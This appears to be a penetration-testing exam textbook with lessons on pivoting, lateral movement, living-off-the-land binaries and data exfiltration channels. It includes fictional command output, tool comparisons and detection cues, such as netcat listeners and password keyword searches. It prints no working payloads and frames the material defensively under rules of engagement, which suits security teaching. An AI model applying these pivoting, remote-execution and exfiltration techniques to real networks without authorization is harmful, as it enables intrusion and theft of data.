Exhibit 1, ROE extract. Assumed breach: Northway issued the account pt-test, with SSH on app01 and local administrator on fs01. In scope: app01 and 10.20.0.0/24. Out of scope: 10.30.0.0/24 (payments). On fs01, prove access by running hostname and whoami once. No new services and no files written on production servers. No credential dumping.

Exhibit 2, read-only output on app01, and a connect check from app01 to fs01 that the ROE allow.

$ ip -br addr
eth0   UP   203.0.113.20/24
eth1   UP   10.20.0.5/24
$ ip route
default via 203.0.113.1 dev eth0
10.20.0.0/24 dev eth1 proto kernel scope link src 10.20.0.5
10.30.0.0/24 via 10.20.0.1 dev eth1
203.0.113.0/24 dev eth0 proto kernel scope link src 203.0.113.20
$ which python3
/usr/bin/python3

PORT     STATE     SERVICE          (fs01, 10.20.0.40)
135/tcp  filtered  msrpc
445/tcp  open      microsoft-ds
3389/tcp filtered  ms-wbt-server
5985/tcp open      wsman
DecisionReasoning from the evidenceAnswer
Which host is the bridge?eth0 and eth1 sit in two networks, and only app01 is reachable from Kaliapp01
How far may it carry you?The route table can reach 10.30.0.0/24 through 10.20.0.1. Reach is not scopeName only 10.20.0.0/24 in any forward; a broader range would carry payments traffic
Which forwarder?You need many ports on several hosts with Kali's tools unchanged. SSH works, Python is present, and you have root on Kali. A relay is one port at a time. Proxychains would work but needs a SOCKS listener, wraps every tool and carries TCP onlysshuttle
Which channel proves access to fs01?PsExec: 445 is open, but it installs a service and writes a file, which the ROE forbid. WMI over DCOM: 135 is filtered. RDP: filtered. WinRM: 5985 is open, with no service and no fileWinRM
What is the evidence?Run the two allowed commands and nothing else. fs01 will log a type 3 logon from 10.20.0.5, so your log must tie that to youThe record below
2026-11-03 14:07:12 UTC  10.20.0.5 -> 10.20.0.40:5985 (WinRM) as pt-test
> hostname
FS01
> whoami
fs01\pt-test

Second run: the pivot changes, and the answer flips

Change one input. App01 is now a Windows server with no SSH service and no Python, and your foothold is a Metasploit session the ROE explicitly allow. Everything else stays the same. Work through what moves.

  • The forwarder flips. sshuttle needs SSH and Python on the far side, so it is out. The next choice is Metasploit's route through the session, its SOCKS module, and Proxychains on Kali for your other tools.
  • Your scans change. Proxychains carries TCP only. A ping sweep and -sS are off the table, so you scan named hosts with -sT and -Pn, slowly, and you check that each tool is dynamically linked.
  • The trace on the pivot changes. An SSH login in an sshd log becomes an agent process holding network connections, which your report must name and your cleanup must remove (Lesson 26).
  • The proof does not change. WinRM to fs01 depends on fs01's ports and the ROE, not on how your packets reached 10.20.0.5.

One more variation, because it is the one people get wrong. Had fs01 filtered 5985 as well, no permitted channel would remain. The right move is not to push harder. Record that segmentation held on that path, say what was not tested, and carry on.

Living off the land: rundll32 and the other LOLBins

Look back at how NotPetya ran: rundll32.exe loading its own library under a .dat name, the WMI command line, cmd.exe starting schtasks to schedule the reboot. Little of what ran was new. That is living off the land: using programs already present and trusted, so there is less to detect and less to block. The exam calls them LOLBins, living off the land binaries.

The LOLBAS project, the reference list, requires a binary to be Microsoft-signed, either native or downloaded from Microsoft, with "unexpected" functionality useful to an attacker or red team. The exam's list is looser. When checked on November 3, 2026, LOLBAS listed cmd, explorer, findstr, ftp, mmc, msbuild and rundll32 but not netstat, net or route, which only do what they say; ATT&CK catalogs those three as tools (S0104, S0039, S0103). Strings is not built in at all: it comes from Sysinternals on Windows and from binutils on Linux.

BinaryLegitimate purposeWhy a tester caresWhat defenders can log
netstatShows connections and listening portsMaps who talks to whom without a packet; -o adds the PID (T1049)Process creation with command line; little else
net commands (user, group, view, use)Manages users, groups, services and network connectionsLists accounts and shares; net use maps an admin share with a credential (T1021.002)net.exe and net1.exe process events; 4624 type 3; share events
cmd.exeThe Windows command interpreter; runs batch filesThe common denominator: remote tools often end in a cmd.exe child (T1059.003)cmd.exe under services.exe, WmiPrvSE.exe or wsmprovhost.exe is worth a look
explorer.exeManages files and the desktop shellLOLBAS records that a new instance can start a program, breaking the expected process tree (T1202)explorer.exe with arguments, started by an unusual parent
ftp.exeWindows FTP client; can process text files in batch modeAlready present for transfers; LOLBAS also records it spawning commands (T1202)ftp.exe process events; outbound flows to 21; cleartext logins
mmc.exeHosts admin consoles and snap-ins for local and remote managementRuns consoles (.msc files) under a signed binary (T1218.014); its MMC20 COM object is a known DCOM route (T1021.003)New .msc files; mmc.exe with an unusual parent
rundll32Loads and runs DLLsLOLBAS notes any file extension is accepted, which is how perfc.dat ran (T1218.011)rundll32 command lines naming non-DLL files or odd paths
msbuildMicrosoft's build engine; works without Visual StudioCompiles and runs inline tasks from an XML project file, which tests whether application control covers it (T1127.001)MSBuild.exe on non-developer machines. Microsoft recommends blocking it there
route printShows or changes the routing tableReveals other networks, so it finds pivots. Print only: changing routes is a configuration change to undo laterProcess events; route add is the rarer, louder one
strings and findstr.exePull text from binaries; search text filesFind credentials in files, including old Group Policy passwords on SYSVOL (T1552.001)Command lines naming "password"; access to decoy files

All of that logging rests on one setting: process creation events (Security 4688 with the command-line field enabled, or Sysmon Event ID 1). The binary's name is no signal, because these programs run legitimately all day. The parent process and the arguments are the signal. Microsoft's detections for NotPetya looked for exactly that sort of thing: PsExec running under a different filename, and perfc.dat appearing on remote shares.

Two more exam items are ways of running commands. PowerShell ISE is Windows PowerShell's built-in script editor and debugger. Microsoft says it is no longer in active feature development, still ships with Windows, has no support in PowerShell 6 and later, and points users to Visual Studio Code. A tester values it on a host where nothing may be installed. Script block logging (event 4104) records what runs regardless. Batch files are cmd.exe scripts, .bat or .cmd, the oldest automation on Windows. Here is a harmless read-only example that gathers the facts this lesson has been reading:

@echo off
REM inventory.bat: read-only facts for the activity log
hostname
ipconfig /all
route print
netstat -ano
tasklist /svc

A batch file loops well, which is the danger: one list of hosts with one wrong line reaches far beyond scope. Check the list against the ROE before anything repeats.

The toolkits: Metasploit, Covenant, CrackMapExec, Impacket and Netcat

ToolWhat it is forChoose it whenWhat it leaves behindStatus today
MetasploitFramework of modules and sessions, with its own routing table for pivotingYou want one console for sessions, routes and a SOCKS proxyWhatever channel the module uses (a service, a logon), plus a process holding connectionsActively developed. Its docs discourage single-port forwarding in favor of its SOCKS module
CovenantCollaborative .NET command and control framework with a web interface and Grunt implantsA red team shares one operation against .NET-heavy hostsPublic forensic detail is thin. Expect general C2 signs: regular outbound traffic from a .NET processThe repository's last push was in July 2024; expect little maintenance
CrackMapExec (CME)Checks one credential across many hosts; lists shares and sessions; runs commands over SMB, WMI or WinRMYou need a wide, fast answer: where does this account work?A burst of logons or failures from one source across many hosts, which can also trip lockoutArchived December 6, 2023. The project continues as NetExec (v1.5.1, February 2026)
ImpacketPython classes for network protocols, with SMB and MSRPC implemented, plus example scripts that imitate PsExec, WMI and DCOM from LinuxYou work from Kali with no Windows tools, or need to script a protocolThe same channel events. Its WMI example runs commands through cmd.exe and writes output to a short-lived file on ADMIN$Maintained by Fortra (0.13.1, May 2026). CISA documented real intruders using it in advisory AA22-277A
NetcatReads and writes across TCP and UDP; banner grabs (Lesson 7) and simple relaysOne port, one connection, a small tool. Ncat is Nmap's rewriteA listening port owned by nc or ncat, found with netstat -anoWidely packaged; many antivirus products flag it on Windows

A tool's output is what you will be asked to read. NetExec documents [+] for a valid login, [-] for a failed one, and (Pwn3d!) when the account can execute code, usually because it is a local administrator. In this fictional excerpt the same account is valid on two hosts, an administrator on one, and rejected on the third:

SMB  10.20.0.40  445  FS01  [+] NORTHWAY\pt-test:[password removed] (Pwn3d!)
SMB  10.20.0.41  445  FS02  [+] NORTHWAY\pt-test:[password removed]
SMB  10.20.0.42  445  DB01  [-] NORTHWAY\pt-test:[password removed] STATUS_LOGON_FAILURE

Mimikatz, by contrast, has seen little formal release since 2022 but stays in daily use, and PsExec remains a supported Sysinternals download. Neither has changed what it is for.

Lateral movement at a glance

TechniqueWeakness it relies onToolsWhat defenders seeFix
Credential dumping (T1003.001)Secrets in LSASS; admins logged on widelyMimikatzSysmon 10 on lsass.exeCredential Guard, LSA protection, fewer admin sessions
Additional credential capture (T1040, T1552)Saved logins; cleartext protocolstcpdump, Wireshark, strings, findstrLittle; keyword command linesRetire cleartext; a secrets manager; no saved admin logins
Service discovery from inside (T1046)Flat network; nothing filters insideNmap, netstat, NetExec139 and 445 sweeps in flow dataHost firewalls; block workstation-to-workstation
Remote execution (T1021, T1047, T1569.002)Shared local admin passwords; broad rightsPsExec, WMI, WinRM, Impacket, NetExec7045; 4624 type 3; WmiPrvSE.exe or Wsmprovhost.exe childrenWindows LAPS; limit remote admin; block PsExec and remote WMI where unneeded
Exploiting SMBv1 (T1210)Missing patch; SMBv1 onMetasploit modulesIDS signatures for MS17-010Patch; disable SMBv1; block SMB at the boundary
Pivoting (T1090.001, T1572)Dual-homed hosts; open paths from DMZ to insidesshuttle, Proxychains, MetasploitDMZ-to-inside flows; long SSH sessionsSegment; filter east-west; review dual-homing
Relay creation (T1090.001)Hosts free to listen and forwardNetcat, netsh portproxyNew listener with a PID; flows on odd portsHost firewall allow lists; alert on new listeners
Living off the land (T1218, T1127.001)Signed binaries trusted by defaultrundll32, msbuild, mmc, ftp.exeParent process and command lineApplication control block rules; command-line logging

Microsoft's own summary of the first and fourth rows is blunt: local administrator accounts often share a password across many devices, and attackers exploit that to move laterally. Windows LAPS exists to close that gap by rotating each device's password. CISA's post-NotPetya list adds least privilege, host firewalls blocking workstation-to-workstation traffic, and separated networks.

Exam cues: what the stem is really asking

Objective 5.2 begins "Given a scenario", so expect these words in a stem.

The stem saysIt points toDo not confuse it with
A host has addresses in two networksA pivot candidate: read route print or ip routePermission: reach is not scope
Forward one port through the compromised hostRelay creation: Netcat, netsh portproxyA relay attack, which forwards authentication
Whole subnet over SSH, no admin on the remote side, root locallysshuttleProxychains, which needs a SOCKS proxy and wraps each tool
Send a program's TCP through a SOCKS proxyProxychains; use -sT, not -sS or pingsshuttle, which needs no per-tool wrapper
Service PSEXESVC; event 7045; ADMIN$PsExec over SMBWMI, which creates no service
Parent process WmiPrvSE.exeWMIWsmprovhost.exe, which is PowerShell remoting over WinRM
TCP 5985 or 5986WinRM135 plus a high port, which is RPC/DCOM
Which program owns this port?netstat -ano, then tasklist /svcroute print, which shows networks
TCP 9100; "printed garbage"JetDirect raw printingTCP 515, which is LPD
Loads a DLL with an odd extensionrundll32msbuild, which compiles a project file
Password found in a config fileString search: findstr, strings, grepCredential dumping, which reads memory
Output ends (Pwn3d!)The account can execute code, usually local admin[+], which only proves the login is valid
An old write-up names CMECrackMapExec, now continued as NetExecImpacket, a protocol library

How lateral movement is reported

A movement finding needs what a single-host finding does not: the path. Give the attack narrative as a timed list of hops, with source, destination, channel and account, so the client can line each one up against its own logs. Here is the entry for the Northway run, as you would write it.

  • Title: DMZ server can reach management ports on the server network, and one local administrator password opens 14 servers.
  • Severity: High. Anyone who controls app01 could run commands on the file server and 13 others. It is not Critical because it needs a foothold on app01 first and no domain-wide control was shown. Client context may change this.
  • Evidence: ip route output from app01 showing eth0 and eth1. Connect check showing 445 and 5985 open from 10.20.0.5. WinRM session at 14:07:12 UTC as pt-test: hostname and whoami only. Northway's matching 4624 type 3 event from 10.20.0.5. The 14-server count comes from a client-run comparison of password hashes, not from further logons. No files read or copied; no services created.
  • Root cause: no filtering between the DMZ and server networks on SMB and WinRM, and a local administrator password inherited from a shared server image.
  • Remediation: allow only named application ports from the DMZ inward; deploy Windows LAPS; limit WinRM to a management subnet; alert on Wsmprovhost.exe activity sourced from the DMZ; then retest the same path.

Key idea: report what you proved and stop at the proof. The strongest movement finding has a short evidence list, a named root cause and no collateral. List hops not attempted and channels the ROE ruled out under limitations, and record every pivot and relay so Lesson 26's cleanup can remove them.

Common misconceptions

  • "Patch MS17-010 and a NotPetya-style spread stops." It stops the exploit route. Stolen credentials with PsExec or WMI still work on patched machines.
  • "LOLBins are malware." They are signed, legitimate programs. The misuse is in the arguments and the parent process.
  • "Relay creation and a relay attack are the same." A relay forwards your traffic; a relay attack forwards someone's authentication.
  • "Proxychains tunnels everything." TCP only, from dynamically linked programs. No ICMP, UDP or raw SYN scan.
  • "If the pivot can reach it, it is in scope." Scope comes from the ROE. Route tables only show what is possible.

What you now know

  • The US alert names a modified Mimikatz as NotPetya's first and usually most effective spreading method; EternalBlue and EternalRomance, patched in MS17-010 on March 14, 2017, were the second route.
  • Patching closes exploit routes only; valid credentials with PsExec, WMI or WinRM still move on a fully patched network, so unique local admin passwords (Windows LAPS) and segmentation are the fix.
  • Ports to retrieve: SMB 445, RDP 3389, VNC 5900, SSH 22, LDAP 389, RPC 135 and 111, FTP 21, Telnet 23, LPD 515, JetDirect 9100, WinRM 5985 and 5986.
  • A route table with two On-link networks marks a pivot candidate; netstat -ano gives a PID, and tasklist /svc names its program.
  • PsExec installs the PSEXESVC service (event 7045); WMI starts commands under WmiPrvSE.exe; PowerShell remoting over WinRM starts them under Wsmprovhost.exe.
  • Proxychains is TCP only and needs dynamic linking, so use -sT and not -sS or ping; sshuttle needs SSH and Python on the pivot, no admin there, and root on your side.
  • In every pivot method the target logs the pivot's address, so keep your own timed activity log.
  • LOLBAS requires Microsoft-signed binaries with unexpected functionality; netstat, net and route are on the exam's list but not in LOLBAS. Detect by parent process and command line, not by name.
  • CrackMapExec was archived in December 2023 and continues as NetExec; in its output, (Pwn3d!) means more than [+].

Sources

  1. Cybersecurity and Infrastructure Security Agency. (2018). Alert TA17-181A: Petya ransomware (first issued 2017, revised February 15, 2018). cisa.gov; and (2022). AA22-277A: Impacket and exfiltration tool used to steal sensitive information from defense industrial base organization. cisa.gov
  2. Microsoft Defender Security Research Team. (2017, June 27). New ransomware, old techniques: Petya adds worm capabilities. Microsoft Security Blog. microsoft.com
  3. Greenberg, A. (2018). The untold story of NotPetya, the most devastating cyberattack in history. WIRED. wired.com
  4. The White House. (2018, February 15). Statement from the Press Secretary. trumpwhitehouse.archives.gov; U.S. Department of Justice. (2020, October 19). Six Russian GRU officers charged in connection with worldwide deployment of destructive malware and other disruptive actions in cyberspace. justice.gov
  5. MITRE. (n.d.). ATT&CK: NotPetya S0368; PsExec S0029; Net S0039; netstat S0104; route S0103; T1021.002; T1021.003; T1021.006; T1047; T1090.001; T1572; T1552.001; T1218.011; T1218.014; T1127.001. NotPetya; WMI; DCOM; Internal Proxy
  6. LOLBAS Project. (n.d.). Living off the land binaries, scripts and libraries, criteria and entries for Cmd, Explorer, Findstr, Ftp, Mmc, Msbuild and Rundll32. lolbas-project.github.io
  7. Microsoft. (n.d.). Microsoft Learn: PsExec; WMIC; WinRM configuration; PowerShell remoting FAQ; PowerShell ISE; Windows LAPS; Credential Guard; LSA protection; Sysmon; event 4624; netstat; application control block rules
  8. Japan Computer Emergency Response Team Coordination Center. (n.d.). Tool analysis result sheet: PsExec, wmic and WinRS. PsExec; wmic; WinRS
  9. Forwarding tools: rofl0r. (n.d.). proxychains-ng (README). github.com; sshuttle project. (2026). sshuttle 2.0.0 documentation: how it works; requirements. readthedocs.io; Rapid7. (n.d.). Pivoting in Metasploit. docs.metasploit.com
  10. Toolkits, read on GitHub on November 3, 2026: CrackMapExec; NetExec and its wiki; Impacket; Covenant; Mimikatz
  11. Protocols and scanning: Lyon, G. (n.d.). Nmap reference guide: version detection and port scanning techniques; McLaughlin, L. (1990). Line printer daemon protocol (RFC 1179). rfc-editor.org; Richardson, T., and Levine, J. (2011). The remote framebuffer protocol (RFC 6143). rfc-editor.org
  12. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 7.4. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
Key terms
Lateral movement
Using one compromised or authorized host and its credentials to reach further hosts inside a network; MITRE ATT&CK treats it as a distinct tactic.
Network pivoting
Sending traffic through a host that sits in two networks so that systems behind a firewall see the connection as coming from that trusted host.
Relay creation
Building a forwarder on a host, such as a Netcat or netsh portproxy listener, that joins one network connection to another; not the same as a relay attack, which forwards authentication.
Living off the land binaries (LOLBins)
Signed programs already on a system, such as rundll32 or msbuild, used for purposes beyond the obvious so that little new needs to be installed.
Windows Management Instrumentation (WMI)
Windows' management infrastructure, reachable remotely over DCOM on port 135 or over WinRM; remotely started commands typically appear under WmiPrvSE.exe.
Windows Remote Management (WinRM)
Windows' remote management service and protocol on TCP 5985 (HTTP) and 5986 (HTTPS), used by PowerShell remoting, whose commands run under Wsmprovhost.exe.
PsExec
A Microsoft Sysinternals tool that runs processes on remote Windows systems by copying a temporary service, PSEXESVC, over SMB, which logs system event 7045.
Mimikatz
A credential dumping tool known for extracting plaintext passwords, hashes, PIN codes and Kerberos tickets from Windows memory; NotPetya carried a modified version.
Proxychains
A preloader that hooks network calls in dynamically linked programs and sends their TCP connections through SOCKS or HTTP proxies; it cannot carry UDP, ICMP or raw SYN scans.
sshuttle
A tool that forwards TCP to whole subnets over one SSH session, needing SSH and Python on the remote host, no admin rights there, and root on the client.

Getting Data Out, and Proving It: Staging and Exfiltration

  • Explain what staging is and why compression and encryption usually come before any data leaves a network.
  • Summarize how covert channels (steganography, DNS, ICMP and HTTPS), email, cross-account resources, cloud storage, text storage sites, alternate data streams and virtual drive mounting each carry data, and what each one relies on.
  • Describe how rules of engagement keep a test to harmless marker data, and read a log or clause to decide what it shows.
  • Name what defenders can observe for each path and the controls that close it, and report an exfiltration finding with evidence, root cause and fixes.

The client's question: could our patient files leave without anyone noticing?

Picture a fictional company, Harbor Dental Group. Its owner reads a news story about stolen records and asks you one question: "If someone got into our network, could they walk our patient files out the door without us noticing?" That is not a question about breaking in. It is about the last half of an attack, the part where stolen data is gathered and sent away.

You cannot answer by taking real patient files. Doing that would create the very breach the client fears. So the answer has to come from proof of a different kind. Two terms frame it.

  • Staging is gathering the data you want in one place inside the network before it leaves.
  • Exfiltration (often shortened to exfil) is moving data out of the network to a place the owner does not control.

MITRE ATT&CK, a public catalog of attacker behavior, describes exfiltration as the tactic of getting data out. It notes that attackers usually package data first, often by compressing or encrypting it, and may send it in small pieces or on a schedule so it looks like ordinary traffic.[1] This lesson explains each path the exam names, why a tester's rules limit it, and what a defender sees.

Exam objectives: 5.3 (summarize concepts related to staging and exfiltration: file encryption and compression; covert channels, including steganography, DNS, Internet Control Message Protocol (ICMP) and HTTPS; email; cross-account resources; cloud storage; alternate data streams; text storage sites; virtual drive mounting).

Before you test anything: marker data and the rules of engagement

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Moving data out is where a test most easily turns into real harm, so this part of the rules matters more than most.

The rules of engagement (ROE) are the written limits of the test. For exfiltration they should answer four things:

  • Which kinds of data you may touch, and which you must never open.
  • Which destinations you may send test data to, usually only systems the client or the testing firm controls.
  • Whether a given channel, such as a cloud account, may be tested at all.
  • How much data, when, and who must be told before and after.

The standard way to stay inside those limits is marker data: a harmless file the client has agreed to, with content you create, such as a document that says it is a test and carries a unique ID. If the marker arrives at your agreed destination, you have proved the path works, and no patient has been exposed. If a defender's alert fires on it, you have proved detection works. Either result answers the owner's question without a single real record moving.

Nothing in this lesson is something you run. There are no commands, scripts or tool settings here, because the exam asks you to summarize the concepts. Every company, address and log line is fictional. Addresses come from ranges reserved for documentation (RFC 5737), and domains use example.com.

Remember: a tester proves a path with marker data the client agreed to. Real client data is never the evidence.

Staging, file encryption and compression

Attackers rarely send files out one by one from where they sit. Collecting first makes the exit short and quiet. MITRE's description of local data staging says an attacker gathers the data into a central place on a system, as separate files or combined into one, using built-in copy features. Many threat groups have done it.[4] Because it only uses normal system features, MITRE notes it cannot be easily mitigated with preventive controls, so defenders rely on detection.[4]

Next comes packaging. Compression shrinks data so less crosses the network. Encryption scrambles it so a reader without the key sees noise. MITRE's page on archiving collected data says compression can obscure the data and reduce what is sent, and encryption can hide the content or make it less conspicuous to a defender who looks.[4] An archive is simply the one file that results.

Notice what each choice costs the defender. A big file in a temporary folder is a visible clue. An encrypted one cannot be inspected by a data loss prevention (DLP) tool, which is software that scans outgoing content for sensitive patterns such as card numbers. That is why encryption beats DLP's content checks, and why defenders also watch behavior: who made the archive, where, and how big.

For a tester, the lesson is about proportion. Your marker needs no real compression or encryption to prove anything. You may stage a few marker files and package them as the ROE allow, to see whether the client's tools notice a new archive appearing in a temp folder.

MITRE suggests defenders correlate the running of compression or encryption tools with the creation of large archive files, and watch for writes to temporary or staging directories.[4] A good test report says where the marker was staged and whether anything alerted.

Exfiltration at a glance

One table holds the whole objective in a stable shape. Each row is covered below, and the columns are the ones to rebuild from memory.

Staging and exfiltration paths, what they rely on, what defenders see, and the fix
PathWeakness it relies onWhat defenders seeFix
File encryption and compressionContent scanners cannot read scrambled dataNew large archives in temp folders; archive tools run by odd accountsBehavior monitoring; limit who can run archive tools
SteganographyMedia files nobody inspects closelyImage or audio files whose size or type does not fit, made right after archivingContent inspection at the boundary; egress limits
DNS channelName lookups are almost always allowed outMany queries with long, odd subdomains to one domainForce lookups through controlled resolvers and filter them
ICMP channelPing-style traffic is little watchedFixed-size packets at regular intervalsBlock ICMP that is not needed at the border
HTTPS channelWeb traffic is allowed and encryptedOdd uploads from processes that do not use the webProxy, TLS inspection where lawful, allow lists
EmailMail is allowed out and attachments are normalLarge or unusual outbound messages and recipientsMail DLP, size and recipient rules
Cross-account resourcesProvider tools share data between accounts inside the cloudSnapshot sharing, new external access policiesLimit external sharing; least privilege
Cloud storageStorage services are allowed and encryptedUnusual upload volumes to personal storageApproved-service allow lists; DLP
Text storage sitesDeveloper paste sites look harmlessUploads to paste sites from serversBlock or monitor those sites
Alternate data streamsNTFS can hide data inside a file's metadataFile names with a colon and stream nameScan for streams; restrict permissions
Virtual drive mountingA virtual disk looks like one file or a local driveNew mounted drives and large disk-image filesRestrict mounting; monitor disk images

Covert channel: sending data where nobody expects it

A covert channel carries data over a path that was not designed for it, or hides that data is being carried at all. Two ideas matter. The first is that the channel uses something the network already allows. The second is that the defender has to notice a pattern rather than a rule violation. The exam names four: steganography, DNS, ICMP and HTTPS. MITRE's description of the tactic observes that attackers can send stolen data over their existing control channel, a separate channel, or a legitimate external service.[1]

"C2" below means command and control, the link an attacker uses to give instructions to a compromised machine.

Steganography: hiding data inside a picture

Steganography hides a message inside an ordinary-looking file, such as an image, so that observers do not realize anything is hidden. That differs from encryption, which hides the meaning but not the fact that something is there. MITRE lists several real malware families that hid data in images, documents and bitmaps.[5]

The weakness it relies on is that few organizations inspect a picture's insides. The sign defenders look for is not the picture but the story around it. MITRE suggests correlating media file creation right after compression or encryption, steganography-style tool use, and large outbound transfers.[5] The takeaway for the exam: steganography is rarely seen alone, and its usual partner is a prior staging step.

DNS: the Domain Name System as a delivery route

The Domain Name System (DNS) turns names such as example.com into addresses. Because nearly every network permits it, MITRE says DNS can carry hidden traffic, called DNS tunneling, with data packed into query and response records. It adds that DNS is common in most environments and often allowed, and that beacons talk infrequently, which hides them among normal lookups.[5]

Here is a fictional excerpt from a defender's resolver log. Read it as a defender would. This is a pattern to recognize, not something to reproduce.

10:02:11  client 10.30.0.44  query  TXT  [long encoded label].t1.example.net
10:02:41  client 10.30.0.44  query  TXT  [long encoded label].t1.example.net
10:03:11  client 10.30.0.44  query  TXT  [long encoded label].t1.example.net
10:03:41  client 10.30.0.44  query  A    www.example.com     (normal browser lookup)

Three clues stand out: a long, unreadable subdomain, the same parent domain repeated, and a steady rhythm. MITRE's detection advice points at exactly this: unusually high query volume, long subdomains and encoded patterns, especially from processes that are not browsers.[5] The fix is also in MITRE's text: send lookups through controlled resolvers and filter unknown or bad domains, which makes it harder to hide data in DNS packets.[5]

A tester's rules usually say two things: only marker data, and only toward a resolver the client or testing firm owns.

ICMP: the Internet Control Message Protocol

The Internet Control Message Protocol (ICMP) carries status messages, and ping uses it. MITRE explains that nearly every host that speaks IP supports ICMP, and that it is less closely watched than TCP or UDP, which attackers exploit.[5] The hiding place is the packet's optional data area.

What defenders see is regularity. MITRE's detection notes mention tunnel-like patterns such as fixed-size ICMP packets sent at regular intervals, and ICMP from tools that are not ordinary ping.[5] The fix is plain network hygiene: filter protocols that do not need to cross the boundary and limit outbound traffic to required ports and approved gateways.[5]

Key idea: DNS and ICMP work as channels because the network trusts them. The defense is not a clever signature but deciding which of them may leave the network, and through which door.

HTTPS: hiding among normal web traffic

HTTPS is web traffic protected by Transport Layer Security (TLS). Almost every network lets it out, and its content cannot be read in transit without special inspection. MITRE notes that web services used for exfiltration are often already allowed by firewalls and commonly use TLS, which makes inspection harder.[2] That is why an attacker can use it as a channel: it looks like the browsing the company does all day.

The defender's clue is mismatch. MITRE suggests watching for processes that do not usually use the network suddenly making outbound HTTPS connections with high outbound-to-inbound data ratios.[2] A web server uploading gigabytes to an unknown address stands out even if the content is unreadable. For fixes, MITRE points to web proxies that block unauthorized external services and DLP that blocks sensitive uploads through browsers.[2]

Email: the door every company leaves open

Email is a path because every business sends it and attachments are routine. MITRE's page on alternative protocols lists the Simple Mail Transfer Protocol (SMTP), the protocol that carries outgoing mail, beside FTP, HTTP/S, DNS and SMB as protocols data has been sent over.[1] The weakness is trust in normal-looking mail. A message with an attachment, sent from a staff mailbox to an outside address, looks like Tuesday.

Defenders see it in mail logs: an unusually large message, a first-ever outside recipient, or many attachments in a short time. Fixes are mail-focused DLP rules, size limits, alerts for new recipients, and blocking automatic forwarding to personal addresses. A tester's ROE usually allow only a marker message to an address the client names, and often ask that the mail team be warned first, because a test message that reaches a real customer is a real incident.

Cross-account resources: moving data without leaving the cloud

In a cloud service, data can leave by moving to another account on the same provider, with no trip across the company's firewall at all. MITRE's page on transferring data to a cloud account describes this: an attacker shares, syncs or backs up data into an account they control, using the provider's own tools and internal address space, so the traffic can blend in and bypass external network interfaces.[3] It also names native sharing features, such as anonymous file links or Azure shared access signature (SAS) URIs, which are signed links that grant access to storage.[3]

A snapshot is a saved copy of a disk, and sharing one is a tidy example. What a defender watches is cloud audit logs, not network flows. MITRE points to snapshot sharing, backup exports, storage policy changes and SAS link creation that move data to other cloud identities.[3] Fixes include limiting external sharing, blocking transfers to untrusted networks, and least privilege, meaning each identity gets only the access it needs.[3]

In a test, this is almost always limited to a cloud account the client or the testing firm owns. Many cloud providers also have their own testing policies, so the ROE should say which are being followed. Read the provider's terms first.

Cloud storage and text storage sites

Cloud storage means online file services where users keep documents. Staff use them daily, so the destination is rarely blocked. MITRE lists exfiltration to cloud storage and to text storage sites as two sub-techniques of web service exfiltration, and notes that hosts often already talk to popular services, firewalls may already allow them, and providers commonly use TLS.[2]

Text storage sites are places for posting plain text, such as snippets and notes that developers share. MITRE describes data being posted to them because they are commonly used and look harmless.[2] The limit is size: text sites suit small amounts, so a defender seeing repeated paste uploads from a server should ask why.

What defenders can see: MITRE suggests watching for unusual upload, create and copy volumes by users in cloud office services, and for archiving followed by large encrypted uploads.[2] Fixes are an allow list of approved storage services, DLP on uploads, and a web proxy that blocks unapproved destinations.[2]

Take care with the choice between the two on an exam. If a stem names a developer paste site, think text storage. If it names a file sync service, think cloud storage. If it names a second account at the same provider as the victim, think cross-account.

Alternate data streams: a hiding place inside the file system

NTFS, the file system Windows uses, can attach extra named data to a file. These are alternate data streams (ADS). MITRE explains that NTFS attributes such as ADS can store arbitrary data and even whole files, and that attackers have used them to avoid defenses like indicator scanning and antivirus.[6] The file looks normal in a basic directory listing, while the extra stream holds more.

That makes ADS a hiding place for staged data: not a way out of the network, but a way to keep data from being noticed while it waits. The visible clue is a name with a colon, such as report.txt:notes. This is what a defender's file-audit record might show, in fictional form:

File created:  C:\Users\Public\budget.xlsx:marker1
Process:       office-helper.exe   User: SVC-BACKUP   Size: 4,812,300 bytes

Read it: a service account made a stream attached to a spreadsheet, and the stream is bigger than most spreadsheets. MITRE's detection advice includes file creations with colon syntax and tools that use stream parameters.[6] The mitigation it names is tightening permissions on those attributes, testing first because the changes can interfere with the operating system.[6] A common misunderstanding: streams do not survive copying to a file system that lacks them, so they only help while the data stays on NTFS.

Virtual drive mounting

A virtual drive is a disk stored as a single file, such as a disk image, that the system can attach and show as an ordinary drive letter or folder. This is called mounting it. The path matters for two reasons. Data placed inside one is packed into a single file that is easy to stage and carry. Mounted, it behaves like a local disk, so a tool that scans files can miss what sits in the image until it is attached.

No MITRE page covers this exactly, so this section is a plain explanation rather than a cited one. Defenders can watch for new mounted drives, unusually large disk-image files appearing in staging folders, and mounting by accounts that never do it. Controls include limiting who can mount images and scanning images when they are mounted. In a test, a marker file in a small image proves the idea without moving real data.

Key idea: every one of these paths ends up as either a pattern in a log (size, rhythm, destination, account) or a missing allow list. Learn the clue, then the control.

Exam cues: what the stem is really asking

Words in a question stem and the concept they point to
The stem saysThinkOften confused with
Files copied into one folder, then archivedStaging, then compressionExfiltration itself; staging stays inside the network
Long, odd subdomains, steady timingDNS channelOrdinary DNS lookups
Same-sized ping packets at regular intervalsICMP channelNormal connectivity checks
Image sizes do not match, made right after archivingSteganographyEncryption, which hides content but not that data exists
Large upload from a server to an unknown site over TLSHTTPS channel or cloud storageA web browsing spike
Snapshot shared with an outside account IDCross-account resourcesCloud storage upload; the data never left the provider
Snippets posted to a developer paste siteText storage siteCloud storage
File name with a colon and an oversized streamAlternate data streamA hidden file attribute
Test uses a harmless agreed fileMarker dataA reduced-size copy of real data, which is not allowed

A worked example, then one input changed

Harbor Dental's ROE allow marker data only, sent to a server the testing firm controls, from the file server FS-02, with the security team told beforehand. You stage one marker file in a temp folder, package it, and send it using HTTPS to the firm's server. Nothing alerts. The proxy log shows the upload:

14:20:06  FS-02  POST  198.51.100.80:443  bytes_out=2,400,512  bytes_in=1,208  category=uncategorized

Reason it through. The upload left a file server, a machine that normally never browses the web. It sent far more than it received. The destination was uncategorized. Those three facts are exactly what MITRE says a defender should look for in web exfiltration,[2] and none of them raised an alert. So the finding is not that data was stolen. It is that the path was open and the detection is missing.

